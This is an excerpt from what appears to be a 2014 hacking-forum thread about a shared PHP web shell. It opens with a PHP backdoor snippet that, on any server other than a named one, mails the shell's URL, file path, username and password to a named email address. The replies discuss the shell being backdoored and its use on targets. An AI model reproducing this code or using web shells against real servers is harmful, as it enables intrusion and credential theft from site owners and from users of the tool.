```
$site = "www.dev-pts.com/vb";  
if(!ereg($site, $_SERVER['SERVER_NAME']))  
{  
    $to = "sattia34@gmail.com";  
    $subject = "New Shell Uploaded";  
    $header = "from: New Shell <saha21@dev-pts.com>";  
    $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";  
    $message .= "Path : " . __file__;  
    $message .= " User : " . $user;  
    $message .= " Pass : " . $pass;  
    $sentmail = @mail($to, $subject, $message, $header);  
    echo "";  
    exit;  
}
```

Heckler.

?>
```

whats java - February 25, 2014, 1:09 am

lol another sand nice person shell why do they even bother

MrTing - February 25, 2014, 6:59 am

No, I'd rather my shell not be used by other people.

whitehatreborn - February 25, 2014, 8:50 am

How stupid do you think I am?

For all the idiots out there, you would never place a shell like that on a big target.

bckslsh - February 25, 2014, 12:17 pm

Most likely backdoored. I'll take a look at it.

WACKO - February 25, 2014, 1:14 pm

Read the rest of the posts. It was backdoored but OP posted the code to remove in order to remove the backdoor.

Reminance - February 26, 2014, 6:22 am

Mfw OP didnt remove the code from the shell, but told ppl to remove it.

Probably hoping people will download it and not remove the backdoor.
